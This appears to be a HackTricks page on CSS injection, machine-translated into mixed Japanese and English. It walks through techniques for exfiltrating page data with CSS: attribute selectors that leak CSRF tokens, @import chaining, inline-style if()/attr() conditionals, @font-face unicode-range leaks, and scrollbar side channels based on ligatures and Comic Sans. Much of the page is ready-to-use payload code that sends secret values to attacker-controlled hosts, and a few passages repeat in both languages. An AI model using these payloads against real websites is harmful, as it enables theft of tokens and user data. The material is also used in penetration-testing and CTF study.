CSS Injection
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
CSS Injection
LESS Code Injection
LESSは変数、ミックスイン、関数、そして強力な@importディレクティブを追加する人気のあるCSSプリプロセッサです。コンパイル中、LESSエンジンは**@importで参照されたリソースを取得し**、(inline)オプションが使用されている場合、それらの内容を結果のCSSに埋め込んで(“inline”)しまいます。
{{#ref}} less-code-injection.md {{/ref}}
Attribute Selector
CSSセレクタはinput要素のname属性やvalue属性の値にマッチするように作成されます。input要素のvalue属性が特定の文字で始まると、あらかじめ定義された外部リソースが読み込まれます:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
しかし、この手法には hidden な input 要素 (type=“hidden”) を扱う際の制約があります。hidden 要素は背景を読み込まないためです。
隠し要素のバイパス
この制約を回避するには、~ general sibling combinator を使って後続の sibling 要素をターゲットにできます。すると CSS ルールは hidden input 要素の後に続くすべての兄弟要素に適用され、背景画像が読み込まれます:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
この手法を悪用する実践的な例は、提供されたコードスニペットに詳述されています。閲覧はhere。
CSS Injection の前提条件
For the CSS Injection technique to be effective, certain conditions must be met:
- Payload Length: CSS Injection ベクターは、作成した selectors を収めるのに十分な長さの payload をサポートしている必要があります。
- CSS Re-evaluation: ページをフレーム化できること — これは、新たに生成した payload を使って CSS の再評価をトリガーするために必要です。
- External Resources: この手法は外部ホストされた画像を使用できることを前提としています。これはサイトの Content Security Policy (CSP) により制限される可能性があります。
Blind Attribute Selector
As explained in this post, セレクタ :has と :not を組み合わせることで、blind elements からでもコンテンツを識別することが可能です。
また、同じタイプの複数のブロックから情報を抽出するために、これらのセレクタを使うことも可能です。例えば:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
Combining this with the following @import technique, it’s possible to exfiltrate a lot of info using CSS injection from blind pages with blind-css-exfiltration.
@import
前の technique にはいくつか欠点があるので、prerequisites を確認してください。send multiple links to the victim が可能であるか、あるいは iframe the CSS injection vulnerable page が可能である必要があります。
しかし、CSS @import を使ってこの手法の精度を上げるもうひとつの巧妙なテクニックがあります。
これは最初に Pepe Vila が示したもので、動作は次のようになります:
同じ page を毎回何十もの異なる payloads で何度も読み込む代わりに(前の手法のように)、page を一度だけ読み込み、attackers server への import のみを行うようにします(これが victim に送る payload です):
@import url("//attacker.com:5001/start?");
- importは攻撃者からいくつかのCSSスクリプトを受け取り、ブラウザがそれを読み込みます。
- 攻撃者が送るCSSスクリプトの最初の部分は別の @import を攻撃者のサーバーへ送るものです。
- 攻撃者のサーバーはこのリクエストにまだ応答しません。まずいくつかの文字を leak してから、このimportに対して次の文字をleakするペイロードで応答したいからです。
- ペイロードの2番目でより大きな部分はattribute selector leakage payloadになります。
- これにより攻撃者のサーバーに秘密の最初の文字と最後の文字が送信されます。
- 攻撃者のサーバーが秘密の最初と最後の文字を受け取ると、ステップ2で要求されたimportに応答します。
- 応答はステップ2、3、4とまったく同じになりますが、今回は秘密の2番目の文字と最後から2番目の文字を見つけようとします。
攻撃者はそのループを繰り返し、秘密を完全にleakするまで続けます。
You can find the original Pepe Vila’s code to exploit this here or you can find almost the same code but commented here.
Tip
スクリプトは毎回2文字(先頭と末尾)を発見しようとします。これは attribute selector が次のようなことを可能にするためです:
css /* value^= to match the beggining of the value*/ input[value^=“0”] { –s0: url(http://localhost:5001/leak?pre=0); }
/* value$= to match the ending of the value*/ input[value$=“f”] { –e0: url(http://localhost:5001/leak?post=f); }
これによりスクリプトは秘密をより速くleakできます。
Warning
スクリプトが発見したprefix + suffixが既に完全なflagであることを正しく検出しない場合があり、その場合プレフィックス側に対して前方へ、サフィックス側に対して後方へ探索を続け、最終的にハングすることがあります。
心配いりません。出力を確認してください。そこにflagが見えます。
Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an element’s inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
Warning
if()での等価比較は文字列リテラルに二重引用符(double quotes)が必要です。シングルクォートではマッチしません。
- Sink: 要素のstyle属性を制御し、ターゲット属性が同一要素上にあることを確認します(attr()は同一要素の属性のみを読み取ります)。
- Read: 属性をCSS変数にコピーします: –val: attr(title).
- Decide: 変数を文字列候補と比較する入れ子の条件でURLを選択します: –steal: if(style(–val:“1”): url(//attacker/1); else: url(//attacker/2)).
- Exfiltrate: 選択したエンドポイントへリクエストを強制するために background: image-set(var(–steal))(または任意のリクエスト発生プロパティ)を適用します。
Attempt (does not work; single quotes in comparison):
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
動作する payload(比較ではダブルクォートが必須):
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
ネストされた条件を用いた属性値の列挙:
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
現実的なデモ (probing usernames):
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
注意点と制限:
- 調査時点では Chromium-based browsers で動作します。別のレンダリングエンジンでは挙動が異なる可能性があります。
- 有限/列挙可能な値空間(IDs, flags, short usernames)に最適です。外部スタイルシートなしで任意長の文字列を盗むのは依然として困難です。
- URLを取得する任意のCSSプロパティはリクエストをトリガーするために使用できます(例: background/image-set、border-image、list-style、cursor、content)。
自動化:a Burp Custom Action はネストされた inline-style ペイロードを生成して属性値を総当たりで取得することができます: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
その他のセレクタ
DOMの部分へアクセスする他の方法(CSS selectors):
- .class-to-search:nth-child(2): これはDOM内でクラス “class-to-search” を持つ2番目の要素を検索します。
- :empty セレクタ: 例えば この解説** で使用されています:**
css [role^=“img”][aria-label=“1”]:empty { background-image: url(“YOUR_SERVER_URL?1”); }
エラーベースの XS-Search
Reference: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
全体の意図は、制御されたエンドポイントからカスタムフォントを使用し、指定したリソース (favicon.ico) が読み込めない場合にのみテキスト(この場合 ‘A’)がこのフォントで表示されることを確認することです。
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- カスタムフォントの使用:
- セクション内の
- フォント名は poc で、外部エンドポイント (http://attacker.com/?leak) から取得されます。
- unicode-range プロパティは U+0041 に設定され、特定の Unicode 文字 ‘A’ を対象としています。
- Object 要素とフォールバックテキスト:
- セクションに id="poc0" の
- この要素の font-family は
- リソース (favicon.ico) の読み込みに失敗した場合、
- 外部リソースが読み込めない場合、フォールバックコンテンツ(‘A’)はカスタムフォント poc を使ってレンダリングされます。
Styling Scroll-to-Text Fragment
The :target 疑似クラスは、CSS Selectors Level 4 specification に記載されているように、URL fragment によってターゲットにされた要素を選択するために使用されます。::target-text は、フラグメントでテキストが明示的にターゲットにされない限り、いかなる要素にもマッチしないことを理解しておくことが重要です。
攻撃者が Scroll-to-text fragment 機能を悪用すると、HTML インジェクションを介して自身のサーバーからリソースを読み込ませることで、ウェブページ上に特定のテキストが存在するかを確認できるというセキュリティ上の懸念が生じます。この手法は次のような CSS ルールを注入することを含みます:
:target::before {
content: url(target.png);
}
このようなシナリオでは、ページ上に “Administrator” というテキストが存在する場合、リソース target.png がサーバーへ要求され、そのテキストの存在が示されます。攻撃の実行例は、注入された CSS を Scroll-to-text fragment と共に埋め込んだ特別に細工された URL を用いて行えます:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
ここでは、攻撃者がHTML injectionを操作してCSSコードを送信し、Scroll-to-text Fragment(#:~:text=Administrator)を使って特定のテキスト “Administrator” を狙います。もしそのテキストが見つかれば、指定されたリソースが読み込まれ、結果としてその存在が攻撃者に知られてしまいます。
緩和策として、以下の点に注意してください:
- 制約された STTF マッチング: Scroll-to-text Fragment (STTF) は単語や文のみをマッチするよう設計されており、そのため任意の秘密やトークンをleakする能力は制限されます。
- トップレベルのブラウジングコンテキストへの制限: STTFはトップレベルのブラウジングコンテキストでのみ動作し、iframes内では機能しないため、悪用の試みはユーザーにとってより目立ちます。
- ユーザーアクティベーションの必要性: STTFは動作にuser-activation gestureを要求するため、悪用はユーザー主導のナビゲーションを介した場合に限られます。この要件により、ユーザー操作なしに攻撃が自動化されるリスクは大幅に軽減されます。とはいえ、ブログ投稿の著者は特定の条件やバイパス(例:social engineering、広く使われているbrowser extensionsとの相互作用)によって攻撃の自動化が容易になる可能性を指摘しています。
これらの仕組みと潜在的な脆弱性を把握することは、ウェブセキュリティを維持し、このような悪用的手法から身を守る上で重要です。
For more information check the original report: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
こちらでこの手法を使ったexploit using this technique for a CTF hereを確認できます。
@font-face / unicode-range
特定のユニコード値に対して外部フォントを指定でき、そのユニコード値がページに存在する場合にのみ取得されます。例えば:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
When you access this page, Chrome and Firefox fetch “?A” and “?B” because text node of sensitive-information contains “A” and “B” characters. But Chrome and Firefox do not fetch “?C” because it does not contain “C”. This means that we have been able to read “A” and “B”.
テキストノード情報漏えい(I):合字 (ligatures)
参考: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
ここで説明する手法は、フォントの合字を利用してノードからテキストを抽出し、幅の変化を監視するものです。プロセスは複数の手順に分かれます:
- カスタムフォントの作成:
- SVG フォントは、horiz-adv-x 属性を持つグリフを用いて作成され、2文字のシーケンスを表すグリフに大きな幅を設定します。
- Example SVG glyph:
, where “XY” denotes a two-character sequence. - これらのフォントは fontforge を使って woff フォーマットに変換されます。
- 幅の変化の検出:
- テキストが折り返されないように (white-space: nowrap) CSS を使用し、スクロールバーのスタイルをカスタマイズします。
- 独特にスタイル設定された水平スクロールバーの出現が、特定の合字(したがって特定の文字列)がテキストに含まれていることを示すインジケータ(オラクル)として機能します。
- The CSS involved: css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
- 攻撃プロセス:
- Step 1: 幅を大きくした文字のペア用のフォントが作成されます。
- Step 2: スクロールバーを利用したトリックで、幅の大きいグリフ(文字ペアの合字)がレンダリングされた際を検出し、それが文字列の存在を示しているかを判定します。
- Step 3: 合字が検出されると、検出されたペアを含み、前後に1文字を加えた3文字シーケンスを表す新しいグリフが生成されます。
- Step 4: 3文字合字の検出を行います。
- Step 5: このプロセスを繰り返し、徐々に全文を明らかにしていきます。
- 最適化:
- 現在の初期化方法(<meta refresh=… を使用)は最適ではありません。
- より効率的なアプローチとして、CSS の @import トリックを利用することでエクスプロイトのパフォーマンスを向上させることが考えられます。
テキストノード情報漏えい(II):デフォルトフォントで charset を leak する(外部アセット不要)
参考: PoC using Comic Sans by @Cgvwzq & @Terjanq
このトリックはこの Slackers thread で公開されました。テキストノードで使われている charset は、ブラウザにプリインストールされているデフォルトフォントを使って leak することができます:外部フォントやカスタムフォントは不要です。
この手法は、アニメーションを使って div の幅を徐々に広げ、テキストの ‘suffix’ 部分から ‘prefix’ 部分へ1文字ずつ移動させるというものです。この過程により、テキストは次のように2つのセクションに分割されます:
- Prefix: 最初の行。
- Suffix: 続く行(複数行)。
文字の遷移は次のように見えます:
C
ADB
CA
DB
CAD
B
CADB
この遷移中に、unicode-range trick が使われて、新たに prefix に移った文字を識別します。これはフォントを Comic Sans に切り替えることで実現されます。Comic Sans はデフォルトフォントよりも高さがあるため、縦方向のスクロールバーを発生させます。このスクロールバーの出現が、prefix に新しい文字が加わったことを間接的に示します。
この方法は、新しく現れたユニークな文字を検出することはできますが、どの文字が繰り返されているかまでは特定できず、繰り返しが起きているということだけが判明します。
Tip
基本的に、unicode-range は文字を検出するために使われます が、外部フォントを読み込みたくないので別の方法を用いる必要があります。
文字(char)が 見つかる と、その文字にはプリインストールの Comic Sans フォントが割り当てられ、文字が 大きくなって 縦スクロールバーが 発生 し、これが検出された char を leak します。
PoC から抜粋したコードを確認してください:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)
Reference: これは an unsuccessful solution in this writeup で言及されています
このケースは前のものと非常に似ていますが、今回の目的は特定の 文字を他の文字より大きくして何かを隠すこと(ボットに押されないようにするボタンやロードされない画像など)です。したがって、アクションの有無を測定することで、特定の文字がテキスト内に存在するかどうかを判別できます。
Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)
Reference: これは an unsuccessful solution in this writeup で言及されています
この場合、同一オリジンから偽のフォントを読み込むことで、テキスト内に特定の文字があるかどうかをleakしようと試みることができます:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
If there is a match, the font will be loaded from /static/bootstrap.min.css?q=1. Although it won’t load successfully, the browser should cache it, and even if there is no cache, there is a 304 not modified mechanism, so the response should be faster than other things.
しかし、一致があると font will be loaded from /static/bootstrap.min.css?q=1。正常に読み込めなくても、browser should cache it。たとえキャッシュがなくても304 not modified の仕組みがあるため、response should be faster は他のものより速くなるはずです。
However, if the time difference of the cached response from the non-cached one isn’t big enough, this won’t be useful. For example, the author mentioned: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the disk-cache-size=1 flag, which is really thoughtful.
ただし、キャッシュ済みレスポンスと未キャッシュレスポンスの時間差が十分でない場合は役に立ちません。例えば著者は次のように述べています:テストしたところ、第一の問題は速度差があまり大きくないこと、第二の問題はボットが disk-cache-size=1 フラグを使っていることで、非常に配慮が行き届いているという点でした。
Text node exfiltration (III): leaking the charset by timing loading hundreds of local “fonts” (not requiring external assets)
Reference: This is mentioned as an unsuccessful solution in this writeup
参考: これは an unsuccessful solution in this writeup として言及されています。
In this case you can indicate CSS to load hundreds of fake fonts from the same origin when a match occurs. This way you can measure the time it takes and find out if a char appears or not with something like:
この場合、一致が発生したときに同一オリジンからCSS to load hundreds of fake fontsを読み込むよう指定できます。こうすることで所要時間をmeasure the timeし、文字が出現するかどうかを次のように判定できます:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
そして、ボットのコードは次のようになります:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
つまり、フォントが一致しない場合、ボットを訪問した際の応答時間はおおよそ30秒になると予想されます。しかし、フォントが一致する場合はフォント取得のために複数のリクエストが送信され、ネットワークで継続的な活動が発生します。その結果、停止条件が満たされて応答を受け取るまでにより長い時間がかかります。したがって、応答時間はフォントが一致しているかを判定する指標として利用できます。
参考資料
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
- Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)
- InlineStyleAttributeStealer.bambda (Burp Custom Action)
- PoC page for inline-style exfiltration
- MDN: CSS if() conditional
- MDN: CSS attr() function
- MDN: image-set()
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks

